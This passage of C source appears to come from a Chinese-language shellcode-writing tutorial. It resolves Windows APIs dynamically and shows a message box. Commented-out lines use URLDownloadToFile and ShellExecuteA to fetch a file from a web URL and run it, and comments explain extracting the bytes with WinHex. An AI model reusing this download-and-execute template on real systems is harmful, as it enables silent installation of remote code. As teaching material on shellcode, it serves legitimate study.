yin";
LPTSTR Message="Hello Shellcode!";
LPTSTR url="https://www.cppentry.com/upload_files/article/45/1_ggyoo__.gif";
LPTSTR savepath="C:\logo.gif";
// MessageBox(NULL,"hello Shellcode!","Cryin",0);
scinfo->fMessageBoxA(NULL,Message,Title,MB_OK);
// scinfo->fURLDownloadToFile(NULL,url,savepath,NULL,NULL);
// scinfo->fShellExecuteA(NULL,0,savepath,0,0,SW_SHOW);
}
//Shellcode 入口函数
void ShellcodeEntry()
{
ShellCodeInfo scinfo;
ResolvAddr(&(scinfo.fLoadLibraryA), &(scinfo.fGetProcAddressA));
scinfo.User32=scinfo.fLoadLibraryA("User32.dll");
scinfo.Urlmon=scinfo.fLoadLibraryA("Urlmon.dll");
scinfo.shell32=scinfo.fLoadLibraryA("shell32.dll");
scinfo.fMessageBoxA=(pMessageBoxA)scinfo.fGetProcAddressA(scinfo.User32,"MessageBoxA");
// scinfo.fShellExecuteA=(pShellExecuteA)scinfo.fGetProcAddressA(scinfo.shell32,"ShellExecuteA");
// scinfo.fURLDownloadToFile=(pURLDownloadToFileA)scinfo.fGetProcAddressA(scinfo.Urlmon,"URLDownloadToFileA");
LoadShellcode(&scinfo);
}
int main()
{
//shellcode的长度:(PDWORD)main - (PDWORD)ShellCodeStart;
//Shellcode起始位置:(PDWORD)ShellCodeStart
//根据上面信息就可将shellcode提取
//这里本想实现自动提取但未实现。可利用winhex手动提取
ShellcodeEntry();
return 0;
}